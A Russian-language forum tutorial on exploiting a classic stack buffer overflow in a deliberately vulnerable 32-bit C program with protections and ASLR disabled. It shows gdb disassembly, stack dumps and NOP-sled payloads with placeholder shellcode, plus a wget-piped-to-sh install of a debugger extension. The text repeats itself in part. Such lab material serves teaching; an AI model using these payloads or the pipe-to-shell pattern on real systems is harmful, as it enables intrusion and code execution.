Shodus
Newbie
- 11 Лип 2020
- 13
- 28
Доброго времени суток!
Хочу рассказать о переполнение стека без защиты программы. В данной статье мы не будем обходить какие-либо защиты, так как их не будет.
План:
Подготовка Лаборатории
Создадим виртуальную машину linux на архитектуре x86 ( 32 битная ). Установим отладчик gdb и расширение gef для более удобной работы.
На первых этапах нам нужно будет отключить ASLR. Это рандомизация размещения адресного пространства. Команда для отключения:
После этого нужно будет выйти из системы командой
Программа для изучения
Компилируем:
Наша программа копирует данные, вводимые пользователем в массив. Его размер 32 байта. Запускаем программу:
Передадим строку больше 32 символов. И посмотрим на реакцию программы. Python поможет нам в генерации строки состоящей из nop инструкций ( 90h ) длиной 40 символов. Команда:
Программа упала и выдала ошибку "Segmentation fault".
Ассемблер и отладчик
Запускаем эту программу в отладчике gdb
Функция copy
Нас интересует функция
Вершина стека
Выполним функцию
Вершина стека
Строки
Проверить это можно так: дизассемблируем инструкцию main:
Функция main
Эксплуатация
Представьте себе, что мы можем перезаписать адрес возврата. При переполнении буфера наши инструкции
Проверим это: перезапустим программу со строкой длиной в 48 символов
Стек
Теперь перезапишем значение адреса возврата. Размер буфера = 32 байтам. Строки
Мы используем инструкции nop ( 0x90 ), чтобы протестировать работы инструкций в стеке. Наша команда для перезапуска:
Мы не угадали адрес возврата. Адрес возврата, который мы написали
Стек
Дойдём до инструкции retn по адресу
Функция main
Когда программа выполнила возврата, мы посмотрим какие идут следующие инструкции ( регистр EIP поможет нам ):
Это наши nop инструкции. Здесь может быть ваш шелл-код.
Небольшой лайфхак
Главное указать правильный адрес возврата для шелл-кода. Сам шеллкод может быть после адреса возврата, но тогда стек-фрейм может быть повреждён.
Шелл-код можно разместить до адреса возврата, не зная адрес возврата! "Волшебные" nop инструкции нам помогут здесь. 99 % nop инструкций и 1% шел-кода
Вставляем сначала nop инструкции, а затем шелл-код. Для примера шелл-кодом будет буква A ( 0x41 ).
Стек
Дойдём до инструкции retn, выполним её и посмотрим на регистр eip командой
Напомню, что наша программа голая и без защиты типа ASLR или Stack Canary.
Спасибо за внимание. Удачи вам.
Хочу рассказать о переполнение стека без защиты программы. В данной статье мы не будем обходить какие-либо защиты, так как их не будет.
План:
- Подготовка Лаборатории
- Ассемблер и отладчик
- Эксплуатация
- Небольшой лайфхак
Подготовка Лаборатории
Создадим виртуальную машину linux на архитектуре x86 ( 32 битная ). Установим отладчик gdb и расширение gef для более удобной работы.
Код:
sudo apt install gdb
sh -c "$(wget http://gef.blah.cat/sh -O -)"
На первых этапах нам нужно будет отключить ASLR. Это рандомизация размещения адресного пространства. Команда для отключения:
echo 0 > /proc/sys/kernel/randomize_va_space
После этого нужно будет выйти из системы командой
logout
.Программа для изучения
C:
#include <string.h>
void copy(char *data) {
char buffer[32];
strcpy(buffer, data);
}
void main(int argc, char *argv[]) {
copy(argv[1]);
}
Код:
gcc copy_buffer.c -o copy_buffer -g -fno-stack-protector -fno-builtin -z execstack
# -o - имя выходного файла
# -g - включить отладочные символы
# -fno-stack-protector - Отключает защиту компилятора от атак типа Stack Smashing.
# -fno-builtin - В программе не распознаются встроенные функции кроме тех, имена которых начинаются с двух подчеркиваний
# -z execstack - Означает, что инструкции, расположенные в стеке, могут быть выполнены.
./copy_buffer TEST
Передадим строку больше 32 символов. И посмотрим на реакцию программы. Python поможет нам в генерации строки состоящей из nop инструкций ( 90h ) длиной 40 символов. Команда:
./copy_buffer $(python -c 'print "\x90" * 40')
Программа упала и выдала ошибку "Segmentation fault".
Ассемблер и отладчик
Запускаем эту программу в отладчике gdb
gdb -q copy_buffer
( -q значит не выводить слишком подробную информацию ). Перезапустим программу, но переполнять буфер в данный момент не будем. Используем команду r $(python -c 'print "\x90" * 32')
. Дизассемблируем функцию copy
командой disas copy
Функция copy
C-like:
0x00401199 <+0>: push ebp
0x0040119a <+1>: mov ebp,esp
0x0040119c <+3>: push ebx
0x0040119d <+4>: sub esp,0x24
0x004011a0 <+7>: call 0x4011fe <__x86.get_pc_thunk.ax>
0x004011a5 <+12>: add eax,0x2e5b
0x004011aa <+17>: sub esp,0x8
0x004011ad <+20>: push DWORD PTR [ebp+0x8] ; передача аргументов через инструкцию push
0x004011b0 <+23>: lea edx,[ebp-0x28]
0x004011b3 <+26>: push edx ; передача аргументов через инструкцию push
0x004011b4 <+27>: mov ebx,eax
0x004011b6 <+29>: call 0x401030 <strcpy@plt>
0x004011bb <+34>: add esp,0x10
0x004011be <+37>: nop
0x004011bf <+38>: mov ebx,DWORD PTR [ebp-0x4]
0x004011c2 <+41>: leave
0x004011c3 <+42>: ret
Нас интересует функция
strcpy
. Ставим точку останова на этой функции b *0x004011b6
и нажимаем r $(python -c 'print "\x90" * 32')
. Посмотрим на вершину стека перед вызовом и после. Регистр ESP нам в помощь. Выведем 24 значение word из стека x/24xw $esp
Вершина стека
C-like:
0xbffff150: 0xbffff160 0xbffff439 0xb7fb4000 0x004011a5
0xbffff160: 0x00000000 0x00200000 0xb7e0bcb9 0xb7fb7588
0xbffff170: 0xb7fb4000 0xb7fb4000 0x00000000 0xb7e0bdfb
0xbffff180: 0xb7fb43fc 0x00000000 0xbffff1a8 0x004011f2
0xbffff190: 0xbffff439 0xbffff254 0xbffff260 0x004011da
0xbffff1a0: 0xb7fe6520 0xbffff1c0 0x00000000 0xb7df4b41
strcpy
. Команда ni
для перехода к следующей инструкции без входа в функцию. Посмотрим на значения в стеке теперь.Вершина стека
C-like:
0xbffff150: 0xbffff160 0xbffff439 0xb7fb4000 0x004011a5
0xbffff160: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff170: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff180: 0xb7fb4300 0x00000000 0xbffff1a8 0x004011f2
0xbffff190: 0xbffff439 0xbffff254 0xbffff260 0x004011da
0xbffff1a0: 0xb7fe6520 0xbffff1c0 0x00000000 0xb7df4b41
0x90909090
это наши nop
инструкции. Строки 0xb7fb4300 0x00000000 0xbffff1a8
не очень важны для нас. А вот значение 0x004011da
важно. Это адрес возврата, который будет использоваться в инструкции retn
.Проверить это можно так: дизассемблируем инструкцию main:
disas main
. Адрес 0x004011f2
идёт после инструкции copy. Адрес возврата из функции copy
.Функция main
C-like:
0x004011c4 <+0>: lea ecx,[esp+0x4]
0x004011c8 <+4>: and esp,0xfffffff0
0x004011cb <+7>: push DWORD PTR [ecx-0x4]
0x004011ce <+10>: push ebp
0x004011cf <+11>: mov ebp,esp
0x004011d1 <+13>: push ecx
0x004011d2 <+14>: sub esp,0x4
0x004011d5 <+17>: call 0x4011fe <__x86.get_pc_thunk.ax>
0x004011da <+22>: add eax,0x2e26
0x004011df <+27>: mov eax,ecx
0x004011e1 <+29>: mov eax,DWORD PTR [eax+0x4]
0x004011e4 <+32>: add eax,0x4
0x004011e7 <+35>: mov eax,DWORD PTR [eax]
0x004011e9 <+37>: sub esp,0xc
0x004011ec <+40>: push eax
0x004011ed <+41>: call 0x401199 <copy>
0x004011f2 <+46>: add esp,0x10
0x004011f5 <+49>: nop
0x004011f6 <+50>: mov ecx,DWORD PTR [ebp-0x4]
0x004011f9 <+53>: leave
0x004011fa <+54>: lea esp,[ecx-0x4]
0x004011fd <+57>: ret
Эксплуатация
Представьте себе, что мы можем перезаписать адрес возврата. При переполнении буфера наши инструкции
nop
"перетирают" адрес возврата и программе некуда вернуться из функции copy
. Вот почему возникает ошибка "Segmentation fault".Проверим это: перезапустим программу со строкой длиной в 48 символов
r $(python -c 'print "\x90" * 48')
и посмотрим стек после функции strcpy
. Команда: x/24xw $esp
. Адреса 0x004011f2
нет в стеке.Стек
C-like:
0xbffff140: 0xbffff150 0xbffff429 0xb7fb4000 0x004011a5
0xbffff150: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff160: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff170: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff180: 0xbffff400 0xbffff244 0xbffff250 0x004011da
0xbffff190: 0xb7fe6520 0xbffff1b0 0x00000000 0xb7df4b41
0xb7fb4300 0x00000000 0xbffff1a8
занимают 12 байтов ( 4 * 3 ). Далее идёт адрес возврата. 32 + 12 = 44 байта, которые мы заполним nop инструкциями, далее напишем адрес возврата. Учитывайте порядок байтов в программе. В нашей программе это little-endian. Например: адрес 0xbffff190
будет записан так 90f1ffbf
в python мы запишем вот так: \x90\xf1\xff\xbf
.Мы используем инструкции nop ( 0x90 ), чтобы протестировать работы инструкций в стеке. Наша команда для перезапуска:
r $(python -c 'print "\x90" * 44 + "\x90\xf1\xff\xbf" + "\x90" * 10 ')
. Смотрим стек, после инструкции strcpy
командой x/24xw $esp
.
C-like:
0xbffff130: 0xbffff140 0xbffff41f 0xb7fb4000 0x004011a5
0xbffff140: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff150: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff160: 0x90909090 0x90909090 0x90909090 0xbffff190
0xbffff170: 0x90909090 0x90909090 0xbf009090 0x004011da
0xbffff180: 0xb7fe6520 0xbffff1a0 0x00000000 0xb7df4b41
0xbffff190
, а нужный нам адрес 0xbffff170
или 0xbffff140
либо другие адреса, где находятся nop
инструкции. Корректируем: r $(python -c 'print "\x90" * 44 + "\x70\xf1\xff\xbf" + "\x90" * 10 ')
.Стек
C-like:
0xbffff130: 0xbffff140 0xbffff41f 0xb7fb4000 0x004011a5
0xbffff140: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff150: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff160: 0x90909090 0x90909090 0x90909090 0xbffff170
0xbffff170: 0x90909090 0x90909090 0xbf009090 0x004011da
0xbffff180: 0xb7fe6520 0xbffff1a0 0x00000000 0xb7df4b41
0x004011c3
.Функция main
C-like:
0x00401199 <+0>: push ebp
0x0040119a <+1>: mov ebp,esp
0x0040119c <+3>: push ebx
0x0040119d <+4>: sub esp,0x24
0x004011a0 <+7>: call 0x4011fe <__x86.get_pc_thunk.ax>
0x004011a5 <+12>: add eax,0x2e5b
0x004011aa <+17>: sub esp,0x8
0x004011ad <+20>: push DWORD PTR [ebp+0x8] ; передача аргументов через инструкцию push
0x004011b0 <+23>: lea edx,[ebp-0x28]
0x004011b3 <+26>: push edx ; передача аргументов через инструкцию push
0x004011b4 <+27>: mov ebx,eax
0x004011b6 <+29>: call 0x401030 <strcpy@plt>
0x004011bb <+34>: add esp,0x10
0x004011be <+37>: nop
0x004011bf <+38>: mov ebx,DWORD PTR [ebp-0x4]
0x004011c2 <+41>: leave
0x004011c3 <+42>: ret
x/5i $eip
C-like:
=> 0xbffff170: nop
0xbffff171: nop
0xbffff172: nop
0xbffff173: nop
0xbffff174: nop
Небольшой лайфхак
Главное указать правильный адрес возврата для шелл-кода. Сам шеллкод может быть после адреса возврата, но тогда стек-фрейм может быть повреждён.
Шелл-код можно разместить до адреса возврата, не зная адрес возврата! "Волшебные" nop инструкции нам помогут здесь. 99 % nop инструкций и 1% шел-кода
Вставляем сначала nop инструкции, а затем шелл-код. Для примера шелл-кодом будет буква A ( 0x41 ).
r $(python -c 'print "\x90" * 32 + "\x41\x41\x41\x41" * 3 + "\x90\xf1\xff\xbf"')
.Стек
C-like:
0xbffff180: 0xbffff190 0xbffff46a 0xb7fb4000 0x004011a5
0xbffff190: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1b0: 0x41414141 0x41414141 0x41414141 0xbffff190
0xbffff1c0: 0xbffff400 0xbffff284 0xbffff290 0x004011da
0xbffff1d0: 0xb7fe6520 0xbffff1f0 0x00000000 0xb7df4b4
x/35i $eip
. По адресу 0xbffff1b0
наш фальшивый шелл-код.
C-like:
=> 0xbffff190: nop
0xbffff191: nop
0xbffff192: nop
0xbffff193: nop
0xbffff194: nop
0xbffff195: nop
0xbffff196: nop
0xbffff197: nop
0xbffff198: nop
0xbffff199: nop
0xbffff19a: nop
0xbffff19b: nop
0xbffff19c: nop
0xbffff19d: nop
0xbffff19e: nop
0xbffff19f: nop
0xbffff1a0: nop
0xbffff1a1: nop
0xbffff1a2: nop
0xbffff1a3: nop
0xbffff1a4: nop
0xbffff1a5: nop
0xbffff1a6: nop
0xbffff1a7: nop
0xbffff1a8: nop
0xbffff1a9: nop
0xbffff1aa: nop
0xbffff1ab: nop
0xbffff1ac: nop
0xbffff1ad: nop
0xbffff1ae: nop
0xbffff1af: nop
0xbffff1b0: inc ecx ; Наш фальшивый шелл-код
0xbffff1b1: inc ecx
0xbffff1b2: inc ecx
0xbffff1b3: inc ecx
0xbffff1b4: inc ecx
0xbffff1b5: inc ecx
0xbffff1b6: inc ecx
0xbffff1b7: inc ecx
0xbffff1b8: inc ecx
0xbffff1b9: inc ecx
0xbffff1ba: inc ecx
0xbffff1bb: inc ecx
0xbffff1bc: nop
Напомню, что наша программа голая и без защиты типа ASLR или Stack Canary.
Спасибо за внимание. Удачи вам.